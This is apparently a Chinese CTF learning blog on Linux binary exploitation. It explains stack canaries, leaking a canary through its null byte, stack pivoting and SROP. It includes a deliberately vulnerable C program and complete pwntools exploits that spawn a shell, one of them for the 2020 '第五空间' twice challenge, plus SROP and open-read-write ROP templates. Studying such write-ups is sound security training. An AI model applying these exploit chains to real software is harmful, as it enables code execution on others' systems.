0x00 前言

刚开始接触canary,先不谈题目中如何利用,只记一下我对它浅显的理解


2020.7.3

回头看了一遍第五空间的pwn题(twice),用了canary和栈迁移的知识,正好整合在一起

学了很长时间,终于搞懂了,最近有考试,等考完详细记录一下。


2020.7.16

终于考完试复现一下这道题,中途电脑坏了拿去修,不过还好盘没坏,什么都没丢,万幸万幸~

0x01 canary

什么是canary呢?

Canary 的本意是金丝雀,来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀。如果井下的气体有毒,金丝雀由于对毒性敏感就会停止鸣叫甚至死亡,从而使工人们得到预警。

这里的canary也具有相似的功能,放在栈底用于检测是否发生栈溢出,它的出现很大程度上增加了栈溢出攻击的难度,并且由于它几乎并不消耗系统资源,所以现在成了 Linux 下保护机制的标配。


0x02 原理

x86栈结构:

image-20200701172055740

主要说一下x86下的canary,x64类似

栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让 shellcode 能够得到执行。

当启用栈保护后,函数开始执行的时候会先往栈底插入 cookie 信息,当函数真正返回的时候会验证 cookie 信息是否合法 (栈帧销毁前测试该值是否被改变),如果不合法就停止程序运行 (栈溢出发生)。

攻击者在覆盖返回地址的时候往往也会将 cookie 信息给覆盖掉,导致栈保护检查失败而阻止 shellcode 的执行,避免漏洞利用成功。

0x03 leak canary

之前有个题目比较简单Mary_Morton,存在明显的格式化字符串漏洞,可以泄露canary的值

这里讲一下另外一种方法

为了便于理解,写一个简单的程序自己调一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
system("/bin/sh");
}
void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void vuln() {
char buf[100];
for(int i=0;i<2;i++){
read(0, buf, 0x200);
puts(buf);
}
}
int main(void) {
init();
puts("Hello Hacker!");
vuln();
return 0;
}
1
gcc -m32 -no-pie canary.c -o canary //无PIE保护

编译之后可以运行,输入两次数据结束

职业病,拖进IDA

image-20200701162154035

主要看一下vuln函数,buf是我们开辟的缓冲区,大小70H(十进制112),但是我们只定义了100个大小,为什么会多12字节的大小呢

然后v3很奇怪,源码中并没有定义这个变量,看到最后return,自己和自己异或,很明显做了一次检查,只有两次相等时才能return 0,所以可以知道v3就是canary

再看v3在栈中的位置ebp-C正好符合条件。

即输入100个字符之后就是canary

为了进一步搞清楚泄露canary的原理,可以gdb调试一下

image-20200701163648373

左面是输入了99个’A’,右面输入100个’A’,可以明显看出我画红线位置的不同,其中0x0a是100个A之后的换行符,而buf大小刚好是100

  • 当输入99个A时,加上0x0a的换行标记,正好100个字符占满buf

  • 当输入100个A时,buf刚好被占满,这时0x0a的换行符覆盖掉了后四位字节的最低位(如图所示),由于32位程序中,canary为四个字节,所以0x0a覆盖掉的就是canary的最低位/x00

canary最低位0x00起到截断字符串的作用,在有些函数处理时,会把这个字符当做结束符,即为了防止printf、puts等函数读出它的值,所以说,如果canary真的只靠这个来防御的话,那么只需要覆盖掉0x00,便可以读取它的值

0x04 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python
from pwn import *
context.binary = 'can'
# context.log_level = 'debug'
io = process('./canary')
get_shell=ELF("./canary").sym["getshell"]
#获得getshell的地址
io.recvuntil("Hello Hacker!\n")
payload = "A"*100
io.sendline(payload)
io.recvuntil("A"*100)
Canary = u32(io.recv(4))-0xa #继续接收后四位数据,并减掉0x0a
log.info("Canary:"+hex(Canary))
payload = b"\x90"*100+p32(Canary)+b"\x90"*12+p32(get_shell)
io.send(payload)
io.recv()
io.interactive()

image-20200701170620675

成功~


0x05 栈迁移原理

以32位程序举例,在使用call这个命令,进入一个函数的时候,程序一般情况下会进行三步栈操作:

push eip+4;

push ebp;

mov ebp,esp;

以保护现场,避免执行完函数后堆栈不平衡或者找不到之前的入口地址。

在执行完函数后也会进行一系列对应的操作来还原现场leave;ret;

这边的leave就相当于进入函数栈操作的逆过程。

leave == mov esp,ebp; pop ebp;
ret == pop eip #弹出栈顶数据给eip寄存器

这样如果能够控制栈空间到任意地址,那么我们就能利用ret来控制eip的数据了(栈顶数据)

0x06 栈迁移的利用

栈迁移一般在什么情况下利用呢?

它主要是为了解决栈溢出可以,但溢出空间大小不足的问题(如read函数的字节限制等)

所以我们就要通过控制ebp来绕过限制。

由于ret返回的是栈顶数据,而栈顶地址是由esp寄存器的值决定的,也就是说如果我们控制了

esp寄存器的数据,那么我们也就能够控制ret返回的栈顶数据。

现在我们已经知道了 leave 能够将ebp寄存器的数据mov到esp寄存器中,然而,一开始ebp寄存

器中的值并不是由我们来决定的,重点是接下来的那个pop ebp的操作,该操作将栈中保存的ebp

数据赋值给了ebp寄存器,而我们正好能够控制该部分数据。所以利用思路便成立了。

我们首先将栈中保存ebp数据的地址空间控制为我们想要栈顶地址,再利用两次leave操作mov

esp,ebp;pop ebp;mov esp,ebp;pop ebp;将esp寄存器中的值变成我们想让它成为的值。由

于最后还有一个pop ebp操作多余,该操作将导致esp-4,所以在构造ret的数据时应当考虑到将

数据放到我们构造的esp地址-4的位置。(即栈顶留4位/8位给ebp/rbp)


0x07 2020第五空间 twice

拿2020第五空间的一道pwn题说一下

只存在canary保护,拖入IDA

主函数是这样的

image-20200716122318894

跟进sub_4007A9函数

image-20200716122231147

其实可以看出来,主函数初始化ncount为0,为的是将4007A9循环两次

查看栈情况

image-20200716122755224

输入的s之后88位就是v6,即canary

再看v3,跟进40076D

image-20200716123046878

结合read函数,第一次可以输入89个字符,恰好可以覆盖到canary最低位,所以第一次用来泄露canary和rbp

第二次可以输入112个字符,先算一下,88+8(canary)+8(saved rbp)+8(return addr)=112

显然长度不够,因此第二次输入来构造栈迁移

可以将新栈放在函数刚输入的位置

gdb先调试一下

image-20200716121859353

计算出旧rbp与输入位置差0x70,因此新rbp=leak_rbp-0x70

因此通过两次leave就可以完成新rbp的迁移

0x08 exp

写了挺久的…

主要是考试之前试过能跑的脚本现在不行了,libcseacher搜不到2.23的版本,不明原因,众所周知pwn是门玄学,没办法Ubuntu16的本地库做的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
context.log_level="debug"
context.arch='amd64'
elf=ELF('./pwn1')
sh=process('./pwn1')
libc = ELF("libc-2.23.so")
#本地,ubuntu16.4
#sh=remote("121.36.59.116",9999)

leave_ret=0x0400879 #leave的地址
pop_rdi=0x0400923
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

sh.recvuntil(">")
sh.send('a'*89)
sh.recvuntil("a"*89)
cannay=u64(sh.recv(7).rjust(8,"\x00")) #最后一位用\x00覆盖回去
stack_addr=u64(sh.recv(6).ljust(8,"\x00"))-0x70 #旧rbp -0x70

print "cannry: "+hex(cannay)
print "stack_addr: "+hex(stack_addr)
sh.recvuntil(">")
payload=flat([stack_addr+0x60,pop_rdi,puts_got,puts_plt,0x0400630])
#flat模块能将pattern字符串和地址结合并且转为字节模式,
#返回地址0x400630是start函数,或者可以用main函数地址
payload+='a'*48+p64(cannay)+p64(stack_addr)+p64(leave_ret)
#构造栈迁移
sh.send(payload)
sh.recvuntil("\n")
puts_addr=u64(sh.recv(6).ljust(8,"\x00"))
print "puts_addr: "+hex(puts_addr)

#leak libc
libc_base=puts_addr-libc.sym['puts']
system_addr=libc_base+libc.sym['system']
print "system_addr:"+hex(system_addr)
binsh_a =libc_base + 0x18ce17#"/bin/sh"的偏移地址
#leak again
sh.recvuntil(">")
sh.send('a'*89)
sh.recvuntil("a"*89)
cannay=u64(sh.recv(7).rjust(8,"\x00"))
stack_addr=u64(sh.recv(6).ljust(8,"\x00"))-0x70

print "cannry: "+hex(cannay)
print "stack_addr: "+hex(stack_addr)
sh.recvuntil(">")
payload=flat([stack_addr+0x60,pop_rdi,binsh_a,system_addr,0x0400630])
payload+='a'*48+p64(cannay)+p64(stack_addr)+p64(leave_ret)
sh.send(payload)

sh.interactive()

主要思路是利用第一次read泄露canary和旧rbp

第二次read构造栈迁移,本来想多写点的,但是拿起题真的不知道该咋写了

第一次看确实不好理解,还是要结合前面栈迁移的原理,自己动手做一下

话说张老师已经开始让我写堆了,我却还在栈上纠结..

0x09 SROP

SROP

SROP(Sigreturn Oriented Programming) ,其中,sigreturn是一个系统调用,在类 unix 系统发生 signal 的时候会被间接地调用。当系统进程发起(deliver)一个 signal 的时候,该进程会被短暂的挂起(suspend),进入内核①,然后内核对该进程保留相应的上下文,跳转到之前注册好的 signal handler 中处理 signal②,当 signal 返回后③,内核为进程恢复之前保留的上下文,恢复进程的执行④

Process of Signal Handlering

内核为进程保留相应的上下文的方法主要是:将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址,此时栈的情况是这样的:

signal2-stack

我们称 ucontext 以及 siginfo 这一段为 signal frame,需要注意的是这一部分是在用户进程的地址空间,之后会跳转到注册过 signal handler 中处理相应的 signal,因此,当 signal handler 执行完成后就会执行 sigreturn 系统调用来恢复上下文,主要是将之前压入的寄存器的内容给还原回对应的寄存器,然后恢复进程的执行

32 位的 sigreturn 的系统调用号为 77,64 位的系统调用号为 15

假设攻击者可以控制用户进程的栈,那么它就可以伪造一个 Signal Frame,如下图所示,这里以 64 位为例子,给出 Signal Frame 更加详细的信息

signal2-stack

当系统执行完 sigreturn 系统调用之后,会执行一系列的 pop 指令以便于恢复相应寄存器的值,当执行到 rip 时,就会将程序执行流指向 syscall 地址,根据相应寄存器的值,此时,便会得到一个 shell。

有时候,我们可能会希望执行一系列的函数。我们只需要做两处修改即可

  • 控制栈指针。
  • 把原来 rip 指向的syscall gadget 换成syscall; ret gadget。

如下图所示 ,这样当每次 syscall 返回的时候,栈指针都会指向下一个 Signal Frame。因此就可以执行一系列的 sigreturn 函数调用。

signal2-stack

rax = 15,执行syscall,便可将sigframe的值恢复。

模板:

1
2
3
4
5
6
7
8
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr + 0x120 # "/bin/sh" 's addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
payload = p64(start_addr) + p64(syscall_ret) + str(sigframe)

image-20230526212409044

setcontext+53 + orw的利用,orw模板

1
2
3
4
5
6
7
8
9
10
orw  = p64(pop_rdi) + p64(FLAG)
orw += p64(pop_rsi) + p64(0)
orw += p64(pop_rax) + p64(2)
orw += p64(syscall)
orw += p64(pop_rdi) + p64(3)
orw += p64(pop_rsi) + p64(heap_base + 0x3000)
orw += p64(pop_rdx) + p64(0x31)
orw += p64(read)
orw += p64(pop_rdi) + p64(1)
orw += p64(write)